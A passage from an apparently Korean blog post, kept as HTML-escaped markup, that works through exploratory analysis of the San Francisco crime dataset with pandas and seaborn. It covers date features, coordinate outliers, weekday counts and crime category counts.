&lt;td&gt;2015-05-13 23:33:00&lt;/td&gt;
&lt;td&gt;2015&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;33&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;2015-05-13 23:30:00&lt;/td&gt;
&lt;td&gt;2015&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;2015-05-13 23:30:00&lt;/td&gt;
&lt;td&gt;2015&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;&lt;b&gt;시각화&lt;/b&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;시각화 전 시각화의 예상 결과를 미리 상상하는 것을 추천&lt;/li&gt;
&lt;li&gt;seaborn의 &lt;a href=&quot;https://seaborn.pydata.org/generated/seaborn.countplot.html&quot;&gt;countplot&lt;/a&gt;을 이용하여 시각화&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;nix&quot;&gt;&lt;code&gt;# 여러개의 시각화를 한 화면에 띄움: matplotlib의 subplots 사용
# 2*3으로 총 6개의 시각화를 한 화면에 띄움
figure, ((ax1, ax2, ax3), (ax4, ax5, ax6)) = plt.subplots(nrows=2, ncols=3)

# 시각화 전체 사이즈 지정
figure.set_size_inches(20, 8)

sns.countplot(data=train, x=&quot;Dates-year&quot;, ax=ax1) # ax1: 좌상단
sns.countplot(data=train, x=&quot;Dates-month&quot;, ax=ax2)
sns.countplot(data=train, x=&quot;Dates-day&quot;, ax=ax3)
sns.countplot(data=train, x=&quot;Dates-hour&quot;, ax=ax4)
sns.countplot(data=train, x=&quot;Dates-minute&quot;, ax=ax5)
sns.countplot(data=train, x=&quot;Dates-second&quot;, ax=ax6) # ax6: 우하단&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;&amp;lt;matplotlib.axes._subplots.AxesSubplot at 0x11dd31ef0&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;output_15_1.png&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/swzVN/btqzNBfXGeq/CkJEcgkhCTE4KeZVx0f7f0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/swzVN/btqzNBfXGeq/CkJEcgkhCTE4KeZVx0f7f0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/swzVN/btqzNBfXGeq/CkJEcgkhCTE4KeZVx0f7f0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FswzVN%2FbtqzNBfXGeq%2FCkJEcgkhCTE4KeZVx0f7f0%2Fimg.png&quot; data-filename=&quot;output_15_1.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;year: 2015년만 범죄 발생수가 작음&lt;/li&gt;
&lt;li&gt;month: 균등&lt;/li&gt;
&lt;li&gt;day: 1일은 많고 31일은 범죄 발생수가 적음(31일이 적은 이유는 1,3,5,7,8,10,12월만 존재하기 때문에)&lt;/li&gt;
&lt;li&gt;hour: 새벽에는 범죄 발생수가 적음&lt;/li&gt;
&lt;li&gt;minute: 0, 30분에 범죄발생수가 많음(0,30,45,15,20분 순으로 많음)&lt;/li&gt;
&lt;li&gt;second: 모두 0으로 범죄 발생에 영향 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;feadback&lt;/code&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;초(Dates-second), 분(Dates-minute)는 정확하게 기록되어 있지 않을 가능성이 높다.&lt;/li&gt;
&lt;li&gt;초(Dates-second)는 전부 0으로 기록되어 있기 때문에 범죄를 예측하는데 크게 중요하지 않은 것 같음, feature를 제거하는 것도 좋은 아이디어다.&lt;/li&gt;
&lt;li&gt;시간(Dates-hour)은 범죄를 예측하는 데 큰 영향을 미칠 것으로 보인다.&lt;/li&gt;
&lt;li&gt;분(Dates-minute)은 잘 정리하면 머신러닝 모델이 이 데이터를 이용하는데 도움이 될 것 같다.
&lt;ul&gt;
&lt;li&gt;0분, 30분은 배제하고 나머지 분들을 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;train[&quot;Dates-minute&quot;].value_counts().head()&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;elm&quot;&gt;&lt;code&gt;0     268950
30    125173
45     40229
15     37904
20     26027
Name: Dates-minute, dtype: int64&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;train[&quot;Dates-hour&quot;].value_counts().tail(10)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;elm&quot;&gt;&lt;code&gt;10    37806
9     35555
8     32900
1     26173
2     22296
7     22048
3     14014
6     13133
4      9863
5      8637
Name: Dates-hour, dtype: int64&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;X, Y Column&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;X: 경도, Y: 위도&lt;/li&gt;
&lt;li&gt;seaborn의 &lt;a href=&quot;https://seaborn.pydata.org/generated/seaborn.lmplot.html&quot;&gt;lmplot&lt;/a&gt;을 이용해 좌표 정보를 시각화&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;lua&quot;&gt;&lt;code&gt;train[[&quot;X&quot;, &quot;Y&quot;]]&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;table class=&quot;dataframe&quot; border=&quot;1&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;text-align: right;&quot;&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;X&lt;/th&gt;
&lt;th&gt;Y&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;-122.425892&lt;/td&gt;
&lt;td&gt;37.774599&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;-122.425892&lt;/td&gt;
&lt;td&gt;37.774599&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;-122.424363&lt;/td&gt;
&lt;td&gt;37.800414&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;-122.426995&lt;/td&gt;
&lt;td&gt;37.800873&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;-122.438738&lt;/td&gt;
&lt;td&gt;37.771541&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;878044&lt;/td&gt;
&lt;td&gt;-122.459033&lt;/td&gt;
&lt;td&gt;37.714056&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;878045&lt;/td&gt;
&lt;td&gt;-122.447364&lt;/td&gt;
&lt;td&gt;37.731948&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;878046&lt;/td&gt;
&lt;td&gt;-122.403390&lt;/td&gt;
&lt;td&gt;37.780266&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;878047&lt;/td&gt;
&lt;td&gt;-122.390531&lt;/td&gt;
&lt;td&gt;37.780607&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;878048&lt;/td&gt;
&lt;td&gt;-122.394926&lt;/td&gt;
&lt;td&gt;37.738212&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;878049 rows &amp;times; 2 columns&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;b&gt;시각화&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;clean&quot;&gt;&lt;code&gt;# seaborn의 lmplot을 사용해 좌표 데이터를 출력
# fil_reg 옵션에 False 지정 (추세선을 그리지 않기 위해 지정, 계산속도 느림)
sns.lmplot(data=train, x=&quot;X&quot;, y=&quot;Y&quot;, fit_reg=False)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;&amp;lt;seaborn.axisgrid.FacetGrid at 0x11d29f7f0&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;output_23_1.png&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cneR6M/btqzPvkLonG/feVvrNDSSCD6555KqF57u0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cneR6M/btqzPvkLonG/feVvrNDSSCD6555KqF57u0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cneR6M/btqzPvkLonG/feVvrNDSSCD6555KqF57u0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcneR6M%2FbtqzPvkLonG%2FfeVvrNDSSCD6555KqF57u0%2Fimg.png&quot; data-filename=&quot;output_23_1.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;train[&quot;X&quot;].max(), train[&quot;Y&quot;].max()&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;clojure&quot;&gt;&lt;code&gt;(-120.5, 90.0)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;prolog&quot;&gt;&lt;code&gt;# outlier 데이터를 가져옴
X_outliers = train[&quot;X&quot;] == train[&quot;X&quot;].max()
Y_outliers = train[&quot;Y&quot;] == train[&quot;Y&quot;].max()

outlier = train[X_outliers &amp;amp; Y_outliers]
print(outlier.shape)
outlier.head()&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;(67, 15)&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;table class=&quot;dataframe&quot; border=&quot;1&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;text-align: right;&quot;&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;Dates&lt;/th&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Descript&lt;/th&gt;
&lt;th&gt;DayOfWeek&lt;/th&gt;
&lt;th&gt;PdDistrict&lt;/th&gt;
&lt;th&gt;Resolution&lt;/th&gt;
&lt;th&gt;Address&lt;/th&gt;
&lt;th&gt;X&lt;/th&gt;
&lt;th&gt;Y&lt;/th&gt;
&lt;th&gt;Dates-year&lt;/th&gt;
&lt;th&gt;Dates-month&lt;/th&gt;
&lt;th&gt;Dates-day&lt;/th&gt;
&lt;th&gt;Dates-hour&lt;/th&gt;
&lt;th&gt;Dates-minute&lt;/th&gt;
&lt;th&gt;Dates-second&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;660485&lt;/td&gt;
&lt;td&gt;2005-12-30 17:00:00&lt;/td&gt;
&lt;td&gt;LARCENY/THEFT&lt;/td&gt;
&lt;td&gt;GRAND THEFT FROM LOCKED AUTO&lt;/td&gt;
&lt;td&gt;Friday&lt;/td&gt;
&lt;td&gt;TENDERLOIN&lt;/td&gt;
&lt;td&gt;NONE&lt;/td&gt;
&lt;td&gt;5THSTNORTH ST / OFARRELL ST&lt;/td&gt;
&lt;td&gt;-120.5&lt;/td&gt;
&lt;td&gt;90.0&lt;/td&gt;
&lt;td&gt;2005&lt;/td&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;660711&lt;/td&gt;
&lt;td&gt;2005-12-30 00:34:00&lt;/td&gt;
&lt;td&gt;ASSAULT&lt;/td&gt;
&lt;td&gt;INFLICT INJURY ON COHABITEE&lt;/td&gt;
&lt;td&gt;Friday&lt;/td&gt;
&lt;td&gt;BAYVIEW&lt;/td&gt;
&lt;td&gt;ARREST, BOOKED&lt;/td&gt;
&lt;td&gt;JAMESLICKFREEWAY HY / SILVER AV&lt;/td&gt;
&lt;td&gt;-120.5&lt;/td&gt;
&lt;td&gt;90.0&lt;/td&gt;
&lt;td&gt;2005&lt;/td&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;34&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;660712&lt;/td&gt;
&lt;td&gt;2005-12-30 00:34:00&lt;/td&gt;
&lt;td&gt;ASSAULT&lt;/td&gt;
&lt;td&gt;AGGRAVATED ASSAULT WITH BODILY FORCE&lt;/td&gt;
&lt;td&gt;Friday&lt;/td&gt;
&lt;td&gt;BAYVIEW&lt;/td&gt;
&lt;td&gt;ARREST, BOOKED&lt;/td&gt;
&lt;td&gt;JAMESLICKFREEWAY HY / SILVER AV&lt;/td&gt;
&lt;td&gt;-120.5&lt;/td&gt;
&lt;td&gt;90.0&lt;/td&gt;
&lt;td&gt;2005&lt;/td&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;34&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;661106&lt;/td&gt;
&lt;td&gt;2005-12-29 00:07:00&lt;/td&gt;
&lt;td&gt;NON-CRIMINAL&lt;/td&gt;
&lt;td&gt;AIDED CASE, MENTAL DISTURBED&lt;/td&gt;
&lt;td&gt;Thursday&lt;/td&gt;
&lt;td&gt;TENDERLOIN&lt;/td&gt;
&lt;td&gt;PSYCHOPATHIC CASE&lt;/td&gt;
&lt;td&gt;5THSTNORTH ST / EDDY ST&lt;/td&gt;
&lt;td&gt;-120.5&lt;/td&gt;
&lt;td&gt;90.0&lt;/td&gt;
&lt;td&gt;2005&lt;/td&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;29&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;666430&lt;/td&gt;
&lt;td&gt;2005-11-30 11:25:00&lt;/td&gt;
&lt;td&gt;OTHER OFFENSES&lt;/td&gt;
&lt;td&gt;TRAFFIC VIOLATION&lt;/td&gt;
&lt;td&gt;Wednesday&lt;/td&gt;
&lt;td&gt;TENDERLOIN&lt;/td&gt;
&lt;td&gt;ARREST, CITED&lt;/td&gt;
&lt;td&gt;5THSTNORTH ST / ELLIS ST&lt;/td&gt;
&lt;td&gt;-120.5&lt;/td&gt;
&lt;td&gt;90.0&lt;/td&gt;
&lt;td&gt;2005&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;&lt;b&gt;아웃라이어를 제외하고 시각화&lt;/b&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;샌프란시스코 지도 모양으로 시각화됨&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;nix&quot;&gt;&lt;code&gt;# outlier가 아닌(~) 데이터만 색인으로 추출
non_outliers = train[~(X_outliers &amp;amp; Y_outliers)]

# 시각화
sns.lmplot(data=non_outliers, x=&quot;X&quot;, y=&quot;Y&quot;, fit_reg=False)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;&amp;lt;seaborn.axisgrid.FacetGrid at 0x11d8ab320&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;output_27_1.png&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vVW1e/btqzPwqrfhE/XKDVsf3COL80qc2QzSF1Rk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vVW1e/btqzPwqrfhE/XKDVsf3COL80qc2QzSF1Rk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vVW1e/btqzPwqrfhE/XKDVsf3COL80qc2QzSF1Rk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvVW1e%2FbtqzPwqrfhE%2FXKDVsf3COL80qc2QzSF1Rk%2Fimg.png&quot; data-filename=&quot;output_27_1.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;haskell&quot;&gt;&lt;code&gt;sns.scatterplot(x=&quot;X&quot;, y=&quot;Y&quot;, data=non_outliers)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;&amp;lt;matplotlib.axes._subplots.AxesSubplot at 0x11d805c18&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;output_28_1.png&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wl80U/btqzOMOhHas/oQggsh7z1RXafbjmpM6VNk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wl80U/btqzOMOhHas/oQggsh7z1RXafbjmpM6VNk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wl80U/btqzOMOhHas/oQggsh7z1RXafbjmpM6VNk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwl80U%2FbtqzOMOhHas%2FoQggsh7z1RXafbjmpM6VNk%2Fimg.png&quot; data-filename=&quot;output_28_1.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;code&gt;feadback&lt;/code&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;아웃라이어가 전체 데이터에 0.01%도 되지 않기 때문에 이 아웃라이어를 해결한다고 모델의 성능이 크게 좋아지지는 않는다.&lt;/li&gt;
&lt;li&gt;범죄의 종류마다 좌표 데이터가 차이가 있다면(특정 지역에서 많이 발생하는 범죄 등이 있다면) 이 데이터를 머신러닝 모델에 집어넣으면 성능을 좋게 만들 수 있을 것이다.&lt;/li&gt;
&lt;li&gt;아웃라이어가 존재한다면, 이를 정상적인 값으로 고치거나 아예 아웃라이어를 배제하면 머신러닝 알고리즘이 아웃라이어에 편향되는 현상이 사라질 것이다.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;DayOfWeek Column&lt;/h3&gt;
&lt;pre class=&quot;ceylon&quot;&gt;&lt;code&gt;non_outliers[&quot;DayOfWeek&quot;].value_counts()&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;mathematica&quot;&gt;&lt;code&gt;Friday       133723
Wednesday    129200
Saturday     126804
Thursday     125027
Tuesday      124954
Monday       121573
Sunday       116701
Name: DayOfWeek, dtype: int64&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;b&gt;시각화&lt;/b&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;요일마다 범죄 발생률의 차이가 크지 않으나 금요일(Friday)이 비교적 높고 일요일(Sunday)이 비교적 낮다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;nix&quot;&gt;&lt;code&gt;plt.figure(figsize=(12,4))
# seaborn의 경우 자동정렬이 되지 않으므로, 명시적으로 정렬 순서를 정해줌
dwofweek_list = [&quot;Monday&quot;, &quot;Tuesday&quot;, &quot;Wednesday&quot;, 
                 &quot;Thursday&quot;, &quot;Friday&quot;, &quot;Saturday&quot;, &quot;Sunday&quot;]

sns.countplot(x=&quot;DayOfWeek&quot;, order=dwofweek_list, data=non_outliers)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;&amp;lt;matplotlib.axes._subplots.AxesSubplot at 0x11db76e80&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;output_33_1.png&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OsbA1/btqzOwkAGcE/pv7IMtWr5nfdZohx5UkuM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OsbA1/btqzOwkAGcE/pv7IMtWr5nfdZohx5UkuM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OsbA1/btqzOwkAGcE/pv7IMtWr5nfdZohx5UkuM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOsbA1%2FbtqzOwkAGcE%2Fpv7IMtWr5nfdZohx5UkuM0%2Fimg.png&quot; data-filename=&quot;output_33_1.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3&gt;Category Column&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;LARCENY/THEFT: 절도(경범죄)&lt;/li&gt;
&lt;li&gt;OTHER OFFENSES: 기타&lt;/li&gt;
&lt;li&gt;NON-CRIMINAL: 범죄가 아님?&lt;/li&gt;
&lt;li&gt;ASSAULT: 폭행&lt;/li&gt;
&lt;li&gt;DRUG/NARCOTIC: 마약&lt;/li&gt;
&lt;li&gt;VEHICLE THEFT: 차량 절도&lt;/li&gt;
&lt;li&gt;VANDALISM: 기물 파손&lt;/li&gt;
&lt;li&gt;WARRANTS: 구속&lt;/li&gt;
&lt;li&gt;BURGLARY: 절도(중범죄)&lt;/li&gt;
&lt;li&gt;SUSPICIOUS OCC: 의심스러운 행위&lt;/li&gt;
&lt;li&gt;MISSING PERSON: 실종&lt;/li&gt;
&lt;li&gt;ROBBERY: 강도&lt;/li&gt;
&lt;li&gt;FRAUD: 사기&lt;/li&gt;
&lt;li&gt;FORGERY/COUNTERFEITING: 위조&lt;/li&gt;
&lt;li&gt;SECONDARY CODES: 2차적 배경들이 있는 범죄&lt;/li&gt;
&lt;li&gt;WEAPON LAWS: 총기 사고&lt;/li&gt;
&lt;li&gt;PROSTITUTION: 매춘&lt;/li&gt;
&lt;li&gt;TRESPASS: 무단 침입&lt;/li&gt;
&lt;li&gt;STOLEN PROPERTY: 도난&lt;/li&gt;
&lt;li&gt;SEX OFFENSES FORCIBLE: 강제적 성범죄&lt;/li&gt;
&lt;li&gt;DISORDERLY CONDUCT: 문란 행위&lt;/li&gt;
&lt;li&gt;DRUNKENNESS: 과음&lt;/li&gt;
&lt;li&gt;RECOVERED VEHICLE: 차량 탈취&lt;/li&gt;
&lt;li&gt;KIDNAPPING: 납치, 유괴&lt;/li&gt;
&lt;li&gt;DRIVING UNDER THE INFLUENCE: 음주 운전&lt;/li&gt;
&lt;li&gt;RUNAWAY: 가출&lt;/li&gt;
&lt;li&gt;LIQUOR LAWS: 음주 및 기타 주류 유통 위반&lt;/li&gt;
&lt;li&gt;ARSON: 방화&lt;/li&gt;
&lt;li&gt;LOITERING: 의심스러운 배회 및 방황&lt;/li&gt;
&lt;li&gt;EMBEZZLEMENT: 횡령&lt;/li&gt;
&lt;li&gt;SUICIDE: 자살&lt;/li&gt;
&lt;li&gt;FAMILY OFFENSES: 가정 범죄&lt;/li&gt;
&lt;li&gt;BAD CHECKS: 부도 수표&lt;/li&gt;
&lt;li&gt;BRIBERY: 뇌물 수수&lt;/li&gt;
&lt;li&gt;EXTORTION: 갈취&lt;/li&gt;
&lt;li&gt;SEX OFFENSES NON FORCIBLE: 비강제적 성범죄&lt;/li&gt;
&lt;li&gt;GAMBLING: 도박&lt;/li&gt;
&lt;li&gt;PORNOGRAPHY/OBSCENE MAT: 음란행위, 외설행위&lt;/li&gt;
&lt;li&gt;TREA: 무단 침입&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;non_outliers[&quot;Category&quot;].value_counts().index&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;delphi&quot;&gt;&lt;code&gt;Index(['LARCENY/THEFT', 'OTHER OFFENSES', 'NON-CRIMINAL', 'ASSAULT',
       'DRUG/NARCOTIC', 'VEHICLE THEFT', 'VANDALISM', 'WARRANTS', 'BURGLARY',
       'SUSPICIOUS OCC', 'MISSING PERSON', 'ROBBERY', 'FRAUD',
       'FORGERY/COUNTERFEITING', 'SECONDARY CODES', 'WEAPON LAWS',
       'PROSTITUTION', 'TRESPASS', 'STOLEN PROPERTY', 'SEX OFFENSES FORCIBLE',
       'DISORDERLY CONDUCT', 'DRUNKENNESS', 'RECOVERED VEHICLE', 'KIDNAPPING',
       'DRIVING UNDER THE INFLUENCE', 'RUNAWAY', 'LIQUOR LAWS', 'ARSON',
       'LOITERING', 'EMBEZZLEMENT', 'SUICIDE', 'FAMILY OFFENSES', 'BAD CHECKS',
       'BRIBERY', 'EXTORTION', 'SEX OFFENSES NON FORCIBLE', 'GAMBLING',
       'PORNOGRAPHY/OBSCENE MAT', 'TREA'],
      dtype='object')&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;ceylon&quot;&gt;&lt;code&gt;non_outliers[&quot;Category&quot;].value_counts()&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;armasm&quot;&gt;&lt;code&gt;LARCENY/THEFT                  174885
OTHER OFFENSES                 126165
NON-CRIMINAL                    92300
ASSAULT                         76872
DRUG/NARCOTIC                   53971
VEHICLE THEFT                   53772
VANDALISM                       44724
WARRANTS                        42206
BURGLARY                        36754
SUSPICIOUS OCC                  31412
MISSING PERSON                  25989
ROBBERY                         22999
FRAUD                           16679
FORGERY/COUNTERFEITING          10609
SECONDARY CODES                  9985
WEAPON LAWS                      8555
PROSTITUTION                     7484
TRESPASS                         7325
STOLEN PROPERTY                  4539
SEX OFFENSES FORCIBLE            4387
DISORDERLY CONDUCT               4318
DRUNKENNESS                      4280
RECOVERED VEHICLE                3138
KIDNAPPING                       2341
DRIVING UNDER THE INFLUENCE      2268
RUNAWAY                          1946
LIQUOR LAWS                      1903
ARSON                            1513
LOITERING                        1225
EMBEZZLEMENT                     1166
SUICIDE                           508
FAMILY OFFENSES                   491
BAD CHECKS                        406
BRIBERY                           289
EXTORTION                         256
SEX OFFENSES NON FORCIBLE         148
GAMBLING                          146
PORNOGRAPHY/OBSCENE MAT            22
TREA                                6
Name: Category, dtype: int64&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;b&gt;시각화&lt;/b&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;LARCENY/THEFT가 제일 많음&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;axapta&quot;&gt;&lt;code&gt;# 상위 20개 범죄 종류만 시각화
sns.countplot(y=&quot;Category&quot;, data=non_outliers, 
